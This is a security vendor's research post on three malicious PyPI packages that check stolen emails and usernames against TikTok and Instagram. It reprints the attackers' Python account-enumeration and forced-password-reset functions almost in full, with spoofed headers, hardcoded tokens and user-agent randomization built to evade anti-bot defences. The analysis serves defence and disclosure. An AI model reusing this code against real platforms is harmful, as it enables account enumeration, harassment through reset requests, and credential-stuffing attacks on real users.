Socket
Book a DemoInstallSign in
Socket
Back
ResearchSecurity News

Malicious ‘Checker’ Packages on PyPI Probe TikTok and Instagram for Valid Accounts

Malicious PyPI checkers validate stolen emails against TikTok and Instagram APIs, enabling targeted account attacks and dark web credential sales.

Malicious ‘Checker’ Packages on PyPI Probe TikTok and Instagram for Valid Accounts

Olivia Brown

May 15, 2025

We often hear about the importance of secure data. Have I Been Pwned and similar websites exist to see if passwords or emails are listed online. However, many people do not understand the ramifications of their own leaked data.

Obtaining valid credentials, even just emails, can initiate an exploit chain. Compromised credentials have been responsible for many cyber incidents, including the 2015 Ukraine electric power attack. A lot of cyber threat actors, from the Lazarus Group to Volt Typhoon, have collected personal emails before initiating an exploit. By ensuring that the email they have is associated with an account, threat actors can target their exploits.

Checkers, therefore, are an integral first step in many exploit chains. Checkers are automated tools, either scripts or software, used to validate large volumes of stolen usernames or emails. Checkers operate by systematically testing these credentials against login interfaces of websites, mobile applications, or APIs to identify valid account combinations.

As of the time of this writing, the three checkers in this post, checker-SaGaF, steinlurks, and sinnercore, were all live on the Python Package Index (PyPI). We reported these malicious packages to the PyPI security team.

First Malicious Package: checker-SaGaF#

True to its name, checker-SaGaF checks if an email is associated with a TikTok account and an Instagram account.

Socket flagged the PyPI package checker-SaGaF, which targets TikTok and Instagram accounts, as known malware. The package poses a high supply chain security risk due to malicious behavior and unauthorized network access. This package was last released April 29, 2023.
def Tik(email):
    url = "hxxps[://]api2-19-h2[.]musical[.]ly/aweme/v1/passport/find-password-via-email/?app_language=ar&manifest_version_code=2018101933&_rticket=1656747775754&iid=7115676682581247750&channel=googleplay&language=ar&fp=&device_type=SM-A022F&resolution=720*1471&openudid=8c05dec470c7b7d5&update_version_code=2018101933&sys_region=IQ&os_api=30&is_my_cn=0&timezone_name=Asia%2FBaghdad&dpi=280&carrier_region=IQ&ac=wifi&device_id=7023349253125604869&mcc_mnc=41805&timezone_offset=10800&os_version=11&version_code=880&carrier_region_v2=418&app_name=musical_ly&ab_version=8.8.0&version_name=8.8.0&device_brand=samsung&ssmix=a&pass-region=1&build_number=8.8.0&device_platform=android&region=SA&aid=1233&ts=1656747775&as=a1e67fbb4fffb246cf0244&cp=f2f02d6bfbffb36de1eomw&mas=01cd120efcb179ac1b331e5cecb80282052c2c4c0c66c66c2c4c46"
    headers = {
            'host':'api2-19-h2.musical.ly',
            'connection':'keep-alive',
            'cookie':'sstore-idc=maliva; store-country-co de=iq; odin_tt=056f31c10f8c82638f6d4d64669ad49e9c36d4946d5d596f433d7f2d75fa1592a21c201d712196d54ee4ae4e14ac8708eee32dc97c85c0a65510024ecc0698346f73ecab038b7160dbff96ced716b8af',
            'accept-Encoding':'gzip',
            'user-agent':'com[.]zhiliaoapp[.]musically/2018101933 (Linux; U; Android 11; ar_IQ; SM-A022F; Build/RP1A.200720.012; Cronet/58.0.2991.0)',
            'connection': 'close'
    }
    data = f"app_language=ar&manifest_version_code=2018101933&_rticket=1656747775754&iid=7115676682581247750&channel=googleplay&language=ar&fp=&device_type=SM-A022F&resolution=720*1471&openudid=8c05dec470c7b7d5&update_version_code=2018101933&sys_region=IQ&os_api=30&is_my_cn=0&timezone_name=Asia%2FBaghdad&dpi=280&email={email}&retry_type=no_retry&carrier_region=IQ&ac=wifi&device_id=7023349253125604869&mcc_mnc=41805&timezone_offset=10800&os_version=11&version_code=880&carrier_region_v2=418&app_name=musical_ly&ab_version=8.8.0&version_name=8.8.0&device_brand=samsung&ssmix=a&pass-region=1&build_number=8.8.0&device_platform=android&region=SA&aid=1233"
    res = requests.post(url,headers=headers,data=data).text
    if 'Sent successfully' in res:
        return {'status':'Vaild','SaGaF_Cracker':'@CCIIUU'}
    else :
        return {'status':'Unvaild','SaGaF_Cracker':'@CCIIUU'} 
*Tik() function that checks if the email is associated with a TikTok account. Socket Threat Research Team defanged URLs.*

Here, the function takes an email and then checks if it’s registered by abusing the internal API endpoint. The URL is hardcoded to TikTok’s private password recovery API endpoint, which is intended to allow a legitimate user to request a password reset link for their account by providing their email address. The query string is deliberately made to simulate a legitimate TikTok client by mimicking real app data (app_name=musical_ly, device_brand=samsung, faking location data, and faking device identifiers like device_id).

It then creates fake HTTP headers, setting the host to the TikTok API server, fakes cookies to impersonate a real session, and uses a User-Agent for the TikTok Android client to likely avoid being blocked by TikTok’s anti-bot measures. The POST data mimics the body of an actual password reset form submission by TikTok. The email passed into the function is injected directly into the payload as if it came from the app.

Finally, it sends the POST request to TikTok’s internal API with the forged headers and data. It saves the response as text, and checks if the response includes “Sent Successfully,” which it would if the email exists. TikTok would also send a password reset link to the target account. By checking for this string, the attacker can determine if the email is valid. The threat actor creates a dictionary of these accounts, marking them either valid or invalid depending on the response.

def Insta(email):
    url2 = 'https://i.instagram.com/api/v1/accounts/login/'
    headers2 = {
        'User-Agent':str(hd),
        'Accept':'*/*',
        'Cookie':'missing',
        'Accept-Encoding':'gzip, deflate',
        'Accept-Language':'en-US',
        'X-IG-Capabilities':'3brTvw==',
        'X-IG-Connection-Type':'WIFI',
        'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
        'Host':'i.instagram.com'
    }
    data2 = {
        'uuid':ud,
        'password':'SaGaF#by=@CCIIUU',
        'username':email,
        'device_id':ud,
        'from_reg':'false',
        '_csrftoken':'missing',
        'login_attempt_countn':'0'
    }
    res2 = requests.post(url2,headers=headers2,data=data2).text
    if ('"invalid_user"')in res2:
        return {'status':'Unvaild','SaGaF_Cracker':'@CCIIUU'}
    elif ('"bad_password"') in res2:
        return {'status':'Vaild','SaGaF_Cracker':'@CCIIUU'}
    else:
        return {'status':'Unvaild','SaGaF_Cracker':'@CCIIUU'}
*Insta() function checks if the email is associated with an Instagram account.*

Here, again, the email is passed to the function and the threat actor abuses an internal API, this time the Instagram private mobile API i.instagram.com. The endpoint is not intended for direct user API access. The code then follows the same logic of interpreting error codes based on a POST response to create a dictionary of existing emails with corresponding Instagram accounts.

Both these functions exist to develop lists of live accounts on TikTok and Instagram, respectively. Once threat actors have this information, just from an email address, they can threaten to dox or spam, conduct fake report attacks to get accounts suspended, or solely confirm target accounts before launching a credential stuffing or password spraying exploit. Validated user lists are also sold on the dark web for profit.

It can seem harmless to construct dictionaries of active emails, but this information enables and accelerates entire attack chains and minimizes detection by only targeting known-valid accounts.

Second Malicious Package: steinlurks#

This next package contains five different versions of checker functions.

Socket flagged the PyPI package steinlurks, which targets Instagram accounts, as known malware. The package poses a high supply chain security risk due to malicious behavior and unauthorized network access. This package was last released March 1, 2025.
def generate_user_agent():
    """Generate a random user agent string."""
    ii = ["165.1.0.29.119", "166.0.0.30.120", "167.0.0.31.121", "168.0.0.32.122"]
    aa = {
        "28/9": ["720dpi", "1080dpi", "1440dpi"],
        "29/10": ["720dpi", "1080dpi", "1440dpi", "2160dpi"],
        "30/11": ["1080dpi", "1440dpi", "2160dpi"],
        "31/12": ["1440dpi", "2160dpi"]
    }
    ss = {
        "720dpi": ["1280x720", "1920x1080"],
        "1080dpi": ["1920x1080", "2560x1440", "3840x2160"],
        "1440dpi": ["2560x1440", "3840x2160"],
        "2160dpi": ["3840x2160", "7680x4320"]
    }
    dd = {
        "samsung": ["SM-T292", "SM-G973F", "SM-A515F"],
        "google": ["Pixel 4", "Pixel 5"],
        "huawei": ["P30 Pro", "Mate 40 Pro"],
        "xiaomi": ["Mi 10", "Redmi Note 10"],
        "oneplus": ["8T", "9 Pro"],
        "sony": ["XZ2", "Xperia 1"]
    }
    cc = ["qcom", "exynos", "kirin", "mediatek", "apple"]
    lan = ["en_US", "es_ES", "fr_FR", "de_DE", "zh_CN", "ja_JP", "ko_KR"]
    dp = ["phone", "tablet", "watch", "tv", "car"]
    arm = ["arm64_v8a", "armeabi-v7a", "x86", "x86_64"]
    comb = ["samsung", "google", "huawei", "xiaomi", "oneplus", "sony"]

    sos = random.choice(list(aa.keys()))
    vlo = random.choice(aa[sos])
    lop = random.choice(ss[vlo])
    ki = random.choice(comb)
    mo = random.choice(dd.get(ki, ["Unknown"]))

    user_agent = (
        f"Instagram {random.choice(ii)} Android "
        f"({sos}; {vlo}; {lop}; {ki}; {mo}; "
        f"{random.choice(arm)}; {random.choice(dp)}; "
        f"{random.choice(lan)}; {random.choice(cc)})"
    )

    return user_agent
The first function from steinlurks. Comments supplied by the threat actor.

The first function generates a randomized mobile User-Agent string designed to look like the Instagram Android app to evade detection. This function simulates Instagram internal versioning identifiers, Android OS version mappings, DPI to resolution mappings, device model list vendor mappings, CPU chipset strings, phone language settings, device types, CPU architecture strings, and phone vendors to mimic legitimate traffic and avoid anti-bot measures. The final User-Agent string generates something like:

Instagram 167.0.0.31.121 Android (30/11; 1440dpi; 2560x1440; samsung; SM-G973F; arm64_v8a; phone; en_US; qcom)

The code then randomly chooses one of the next five functions.

def stein1(email):
    """Check if the email corresponds to a 'Good' password and return True or False."""

    url = "hxxps://i[.]instagram[.]com/api/v1/bloks/apps/com.bloks.www.caa.ar.search.async/"

    # The payload to be sent with the request
    payload = f"params=%7B%22client_input_params%22%3A%7B%22text_input_id%22%3A%22616z6k%3A71%22%2C%22was_headers_prefill_available%22%3A0%2C%22sfdid%22%3A%22%22%2C%22fetched_email_token_list%22%3A%7B%7D%2C%22search_query%22%3A%22{email}%22%2C%22android_build_type%22%3A%22release%22%2C%22accounts_list%22%3A%5B%5D%2C%22ig_android_qe_device_id%22%3A%228745a4a2-a663-4bc7-9b3b-16d5b8ea20b9%22%2C%22ig_oauth_token%22%3A%5B%5D%2C%22is_whatsapp_installed%22%3A1%2C%22lois_settings%22%3A%7B%22lois_token%22%3A%22%22%2C%22lara_override%22%3A%22%22%7D%2C%22was_headers_prefill_used%22%3A0%2C%22headers_infra_flow_id%22%3A%22%22%2C%22fetched_email_list%22%3A%5B%5D%2C%22sso_accounts_auth_data%22%3A%5B%5D%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22event_request_id%22%3A%22b8a5a2be-1abe-40da-b476-3d893c871e21%22%2C%22is_from_logged_out%22%3A0%2C%22layered_homepage_experiment_group%22%3Anull%2C%22device_id%22%3A%22android-bf1b282ab2b0b445%22%2C%22waterfall_id%22%3A%22017145b8-cb79-439a-9036-2fb580f40ca0%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A3.6480220400074E13%2C%22is_platform_login%22%3A0%2C%22context_data%22%3A%22AR2rfU7knJNQCBz3hzsomH487qVyGu0HOVx3jgM-6G69fIwxA73vDmSlV7vY-W2aR4sv08iPPcsbdDt7RQF0ijGeqPudYXN0zlEZMvLeGOEvM_HHTtEJuv8dHDd4c8AIk4VpoaEASAIC9T_OS4yHwzupVtJKe7ghZ7k0y3kHeS7OGhaAIm4QvqfWW5JendkDb0mWJ31hcpuhEp8qcbdjJ27ABYmh7-MltY9OrlgAoBsSZuz8_MD3S1XQFV0I52liYk8fK_tSI9x4Ok0lTmIWJ4aN8pjQvxGhAWLJ73ONhBVfpIXE2xuutHN4eMrjKARC2-XcGRmg7pf3xLfGu_Z7zKiKrVmR8LQz91dwiKHFaND6DeHwVcARkBjYm0YLjaGdT-0FIeGYFs1x%7Carm%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22family_device_id%22%3A%222586e714-fdb4-4741-ba7b-0b84b13e2a97%22%2C%22offline_experiment_group%22%3A%22caa_launch_ig4a_combined_60_percent%22%2C%22INTERNAL_INFRA_THEME%22%3A%22default%2Cdefault%22%2C%22access_flow_version%22%3A%22F2_FLOW%22%2C%22is_from_logged_in_switcher%22%3A0%2C%22qe_device_id%22%3A%228745a4a2-a663-4bc7-9b3b-16d5b8ea20b9%22%7D%7D&bk_client_context=%7B%22bloks_version%22%3A%228ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb"

    headers = {
        'User-Agent': generate_user_agent(),  # Randomly generated user agent
        'x-ig-app-locale': "en-US",
        'x-ig-device-locale': "en-US",
        'x-ig-mapped-locale': "en-US",
        'x-pigeon-session-id': "UFS-42175dfd-8675-4443-8f8d-7f09fa7ea9da-0",
        'x-pigeon-rawclienttime': "1725835735.847",
        'x-ig-bandwidth-speed-kbps': "-1.000",
        'x-ig-bandwidth-totalbytes-b': "0",
        'x-ig-bandwidth-totaltime-ms': "0",
        'x-bloks-version-id': "8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb",
        'x-ig-www-claim': "0",
        'x-bloks-is-layout-rtl': "true",
        'x-ig-device-id': "8745a4a2-a663-4bc7-9b3b-16d5b8ea20b9",
        'x-ig-family-device-id': "2586e714-fdb4-4741-ba7b-0b84b13e2a97",
        'x-ig-android-id': "android-bf1b282ab2b0b445",
        'x-ig-timezone-offset': "10800",
        'x-fb-connection-type': "MOBILE.LTE",
        'x-ig-connection-type': "MOBILE(LTE)",
        'x-ig-capabilities': "3brTv10=",
        'x-ig-app-id': "567067343352427",
        'priority': "u=3",
        'accept-language': "en-US",
        'x-mid': "Zt4loQABAAFzGR1YLL2M9XOkL9El",
        'ig-intended-user-id': "0",
        'content-type': "application/x-www-form-urlencoded"
    }

    # Send the POST request
    response = requests.post(url, data=payload, headers=headers)

    # Check the response status
    if response.status_code == 200:
        response_data = response.json()  # Convert response to JSON

        # Check if the error message is in the response
        if "The password you entered is incorrect." in str(response_data):
            return True  # Password is incorrect
        else:
            return False  # Password isn't incorrect or other error
    else:
        return False  # Failed request
*stein1(), the first of the stein functions. Comments supplied by the threat actor. Socket Threat Research Team defanged URLs.*

It sets the URL to a private Instagram internal endpoint which the mobile app only uses for account recovery and discovery flows. It’s normally unaccessible to users.

The payload, that extremely long hardcoded URL string, is a fully pre-encoded POST body that simulates a request from a real Android app. search_query={email} is where the threat actor-supplied email gets injected. Like the previous function, the rest of the parameters exist to disguise automated behavior. It then calls the previous function to randomize the User-Agent header. Once the function sends the forged POST request to the internal Instagram recovery API, it stores either the status code. If the status code is 200, indicating a successful request, the threat actor parses the JSON reply to see if the response includes a string indicating that the password is incorrect. If so, it returns true. This would indicate that the email corresponds to an actual account. Otherwise, the function returns false.

def stein2(email):
    """
    This function sends a POST request to check if the email exists and returns True if found.
    Otherwise, it returns False.

    Parameters:
    - email: The email to check.
    """

    url = "https://i.instagram.com/api/v1/users/lookup/"

    # Create the payload using variables from Variable class
    payload = f"signed_body={Variable.sgin}.%7B%22country_codes%22%3A%22%5B%7B%5C%22country_code%5C%22%3A%5C%22{Variable.num}%5C%22%2C%5C%22source%5C%22%3A%5B%5C%22default%5C%22%5D%7D%5D%22%2C%22_csrftoken%22%3A%22{Variable.csr}%22%2C%22q%22%3A%22{email}%22%2C%22guid%22%3A%22{uuid.uuid4()}%22%2C%22device_id%22%3A%22{Variable.android}%22%2C%22directly_sign_in%22%3A%22true%22%7D&ig_sig_key_version=4"

    # Define headers
    headers = {
        'User-Agent': generate_user_agent(),
        'Accept-Encoding': "gzip, deflate",
        'Content-Type': "application/x-www-form-urlencoded",
        'X-Pigeon-Session-Id': str(uuid.uuid4()),
        'X-Pigeon-Rawclienttime': str("{:.3f}".format(time.time())),
        'X-IG-Connection-Speed': "-1kbps",
        'X-IG-Bandwidth-Speed-KBPS': "-1.000",
        'X-IG-Bandwidth-TotalBytes-B': "0",
        'X-IG-Bandwidth-TotalTime-MS': "0",
        'X-Bloks-Version-Id': "009f03b18280bb343b0862d663f31ac80c5fb30dfae9e273e43c63f13a9f31c0",
        'X-IG-Connection-Type': "MOBILE(LTE)",
        'X-IG-Capabilities': "3brTvw==",
        'X-IG-App-ID': "567067343352427",
        'Accept-Language': "ar-YE, en-US",
        'X-FB-HTTP-Engine': "Liger",
    }

    # Send the POST request and get the response text
    res = requests.post(url, data=payload, headers=headers).text

    # Check if the response contains "status":"ok" and the email
    if '"status":"ok"' in res and f'{email}' in res:
        return True
    else:
        return False
*stein2(). Comments supplied by the threat actor.*

This function also checks if an email corresponds to an Instagram account but with several key differences. The API target, https://i.instagram.com/api/v1/users/lookup/ is different, as in stein1 the API target was hxxps://]i[.]instagram[.]com/api/v1/bloks/apps/com[.]bloks[.]www[.]caa[.]ar[.]search[.]async/. The new endpoint is used by the Instagram app to recover usernames or confirm accounts, whereas the first example is used for recovery and debugging. This function is stealthier because it uses this production account lookup behavior. The detection method is also different, as in stein1 the function looks for known backend error strings and this function looks for “status”:”ok” and the presence of the email in the POST response. This function improves upon randomization and evasion with session IDs and other session fingerprints.

def stein3(email):


    ua = generate_user_agent()
    device_id = 'android-' + hashlib.md5(str(uuid.uuid4()).encode()).hexdigest()[:16]
    uui = str(uuid.uuid4())

    # Define headers
    headers = {
        'User-Agent': ua,
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    }

    # Define cookies
    cookies = {
        'csrftoken': '76HKvZYXiWJKIArQAQNEMD'  # You might want to update this if necessary
    }

    # Define data for the POST request
    data = {
        'signed_body': '0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.' + json.dumps({
            '_csrftoken': '76HKvZYXiWJKIArQAQNEMD',
            'adid': uui,
            'guid': uui,
            'device_id': device_id,
            'query': email
        }),
        'ig_sig_key_version': '4',
    }

    # Send the POST request
    response = requests.post(
        'https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/',
        headers=headers, cookies=cookies, data=data
    ).text

    # Check if the email is present in the response and return the result
    if email in response:
        return True
    else:
        return False
*stein3(). Comments supplied by the threat actor.*

Similar to the previous functions, stein3 establishes if the supplied email corresponds to an active Instagram account. However, there are a few key differences

stein3() targets https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/. It sets a CSRF token because it believes Instagram checks for one, but notes that it may need to be changed or updated. Overall, its payload and header are less disguised than the previous functions.

def stein4(email):
    # Generate a dynamic user agent using the generate_user_agent function
    ua = generate_user_agent()

    # Generate unique device and GUID
    device_id = f"android-{uuid.uuid4().hex[:16]}"
    guid = str(uuid.uuid4())

    # Set the headers using the generated user agent
    headers = {
        'Host': 'i.instagram.com',
        'X-IG-Capabilities': 'AQ==',
        'X-IG-Connection-Type': 'WIFI',
        'User-Agent': ua,
    }

    # Define cookies
    cookies = {
        'csrftoken': '76HKvZYXiWJKIArQAQNEMD'
    }

    # Prepare the POST data
    data = {
        'signed_body': '0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.'
                       + json.dumps({
                            '_csrftoken': '76HKvZYXiWJKIArQAQNEMD',
                            'adid': guid,
                            'guid': guid,
                            'device_id': device_id,
                            'query': email
                        }),
        'ig_sig_key_version': '4',
    }


    # Send POST request to initiate the password recovery flow
    response = requests.post(
        'https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/',
        headers=headers, cookies=cookies, data=data
    ).text

    # Check if the email is in the response
    if email in response:
        return True  # Email found in response, successful request
    else:
        return False
*stein4(). Comments supplied by the threat actor.*

This code similarly randomizes the User-Agent to avoid fingerprinting. It uses a less complex method than stein3 to generate a fake device ID and GUID, and a simpler heading spoof than any of the previous functions. However, it uses the same CSRF token as stein3, as well as the same payload, API call, and detection logic.

def stein5(email):
    # Generate a dynamic user agent using the generate_user_agent function
    ua = generate_user_agent()

    # Generate unique device ID and GUID
    device_id = f"android-{uuid.uuid4().hex[:16]}"
    guid = str(uuid.uuid4())

    # Set the headers with additional information
    headers = {
        'Host': 'www.instagram.com',
        'origin': 'https://www.instagram.com',
        'referer': 'https://www.instagram.com/accounts/signup/email/',
        'user-agent': ua,  # Using dynamically generated user agent
        'x-ig-app-id': '567067343352427',
        'x-ig-connection-type': 'WIFI',
        'x-ig-csrf-token': '76HKvZYXiWJKIArQAQNEMD',
        'x-ig-capabilities': '3brTvw==',
        'x-ig-connection-speed': '-1kbps',
        'x-ig-batch-request': 'false',
        'x-fb-httpreferer': 'https://www.instagram.com/',
        'accept-language': 'en-US',
        'x-ig-batch-referer': 'https://www.instagram.com/accounts/signup/email/',
        'accept-encoding': 'gzip, deflate'
    }

    # Prepare the POST data
    data = {
        'email': email
    }

    # Send POST request to check if email is taken
    response = requests.post('https://www.instagram.com/api/v1/web/accounts/check_email/', headers=headers, data=data)

    # Check if 'email_is_taken' is in the response text
    if 'email_is_taken' in response.text:
        return True  # Email is taken
    else:
        return False  # Email is available
*stein5(). Comments supplied by the threat actor.*

Stein5 uses a different strategy, acting as a web-side checker instead of abusing internal mobile APIs like the other stein functions. Instead of targeting a version of i.instagram.com, stein5 targets www.instagram.com. They are mimicking a normal browser hitting the web sign-up page. The payload is super simple, passing just the target email, and targeting the internal AJAX call that checks if a signup email is already taken.

steinlurks() randomly chooses one of these 5 functions to use to check if an email is associated with an Instagram account. Creating five different versions may appear as an odd choice, but it allows for redundancy across attack surfaces since there are multiple internal and external APIs. Any API can be patched, blocked, or rate-limited at any time, so by having multiple options the threat actor always has fallback options.

Cycling through the functions also makes detection for Instagram more difficult. Cyber defenses often depend on behavioral fingerprints, like the same headers, endpoints, or payloads. By changing these between the functions, Instagram is likely to only stop one function at a time, ensuring the threat actor has more opportunity to execute their plan. Anti-abuse thresholds are also avoided by changing these endpoints and load balancing across the infrastructure.

Third Malicious Package: sinnercore#

Unlike the previous examples, sinnercore attempts to trigger the forgot password flow for a given username.

Socket flagged the PyPI package sinnercore, which targets Instagram accounts, as known malware. The package poses a high supply chain security risk due to malicious behavior, unauthorized network access, and shell access. This package was last released March 5, 2025.
def KOIRESETBHEJDO(username):
    url = "https://b.i.instagram.com/api/v1/accounts/send_password_reset/"
    headers = {
        "User-Agent": random.choice(USER_AGENTS),
        "Accept-Language": "en-US",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-CSRFToken": "YXvnZ43BVgH4y_ddhNTbFI",
        "Cookie": "csrftoken=YXvnZ43BVgH4y_ddhNTbFI",
    }
    data = {
        "username": username,
        "device_id": "android-cool-device"
    }
    try:
        response = requests.post(url, headers=headers, data=data, timeout=10)
        response.raise_for_status()
        return response.json()
    except requests.exceptions.Timeout:
        return {"status": "fail", "message": "Request timed out. Please try again later."}
    except requests.exceptions.RequestException:
        return {"status": "fail", "message": "Invalid response. The account may not exist or is suspended."}
    except ValueError:
        return {"status": "fail", "message": "Invalid response from Instagram. Please try again later."}
KOIRESETBHEJDO() function of sinnercore.

This function targets https://b.i.instagram[.]com/api/v1/accounts/send_password_reset/. Notably, this is used for older app versions or bypass purposes. Since this package was released in March 2025, it is likely the threat actor did this to reduce detection chances.

It then forges a header, randomizing User-Agent from a pool of realistic values, setting basic HTTP fields to match an Android, and faking a CSRF token and session cookie. In the payload, the attacker provides the target username. Finally, if successful, the attacker returns the response as JSON. The function exists to trigger forced password reset messages, both verifying that the account exists and harassing the victim.

The rest of sinnercore focuses on silent OSINT, like pulling user info and translating text from their Instagram bio. There is also functionality targeting Telegram, namely extracting name, user ID, bio, and premium status, as well as other attributes. Some parts of sinnercore are focused on crypto utilities, like getting real-time Binance price or currency conversions. It even targets PyPI programmers by fetching detailed info on any PyPI package, likely used for fake developer profiles or pretending to be developers.

Why Does This Matter?#

Dark web image of a database of 100k verified emails selling for $300 USD. Translations supplied by the Socket Threat Research Team.

Personal information, including your email address and the accounts associated with it, should remain personal. However, in the world we live in, threat actors are selling databases with your information on the dark web, for only hundreds of dollars. In this case, your one email is only worth $.003, not even a cent, and potentially less if the buyer wants a larger dataset. Threat actors can easily add your personal email to their databases, beginning the process to get into your accounts.

Outlook and Recommendations#

To keep your accounts and personal information safe, maintain awareness of your credentials and change them if they are leaked on the dark web. Developers should consider if their error messages in response to login attempts give too much information to potential threat actors. Socket’s GitHub App, CLI tool, and Browser Extension can help developers understand what risks they may be introducing into their environments.

  • Socket GitHub App: Automated real-time security analysis of dependencies.
  • Socket CLI Tool: Inspect and detect anomalies during builds and installations.
  • Browser Extension: Scans package pages in your browser as you browse, flags suspicious or malicious packages in real-time, and warns you before you install or download a risky dependency.

MITRE ATT&CK#

  • T1036.005Masquerading: Match Legitimate Name or Location
  • T1059.006Command and Scripting Interpreter: Python
  • T1071.001Application Layer Protocol: Web Protocols
  • T1078Valid Accounts
  • T1110.001Brute Force: Password Guessing
  • T1110.003Brute Force: Password Spraying
  • T110.004Credential Stuffing
  • T1589.001Gather Victim Identity Information: Credentials
  • T1589.002Gather Victim Identity Information: Email Addresses
  • T1592Gather Victim Identity Information
  • T1596Search Open Websites/Domains

Indicators of Compromise#

Infrastructure:

  • hxxps[://]i[.]instagram[.]com/api/v1/bloks/apps/com[.]bloks[.]www[.]caa[.]ar[.]search[.]async/
  • hxxps[://]api2-19-h2[.]musical[.]ly/aweme/v1/passport/find-password-via-email/

Malicious Python Packages:

Threat Actor PyPI Usernames:

Threat Actor PyPI Registration Emails:

  • sinnermurphy@hi2[.]in
  • dxa00776@gmail[.]com

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

About

Packages

Stay in touch

Get open source security insights delivered straight into your inbox.

  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc

U.S. Patent No. 12,346,443 & 12,314,394. Other pending.